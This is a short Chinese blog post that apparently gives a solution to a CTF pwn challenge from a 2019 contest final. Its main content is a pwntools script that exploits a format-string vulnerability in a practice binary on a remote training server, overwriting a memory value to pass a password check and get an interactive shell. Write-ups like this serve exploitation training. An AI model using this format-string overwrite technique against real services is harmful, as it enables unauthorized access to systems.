[第五空间2019 决赛]PWN5

最新推荐文章于 2024-04-01 09:29:25 发布

「已注销」

最新推荐文章于 2024-04-01 09:29:25 发布

阅读量841

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn

本文链接：https://blog.youkuaiyun.com/pondzhang/article/details/105799185

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文通过一个具体的CTF题目，展示了如何使用Python的pwntools库进行远程攻击，利用格式化字符串漏洞来修改内存中的特定地址值。通过构造payload并发送到目标服务器，成功控制了目标进程，实现了远程代码执行。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

from pwn import *
#p = process('./pwn')
p = remote("node3.buuoj.cn",25955)
addr_unk_804C044 = 0x0804C044
payload = fmtstr_payload(10,{addr_unk_804C044:0x01})
p.sendlineafter('your name:',payload)
p.sendlineafter('your passwd:',str(0x01))
p.interactive()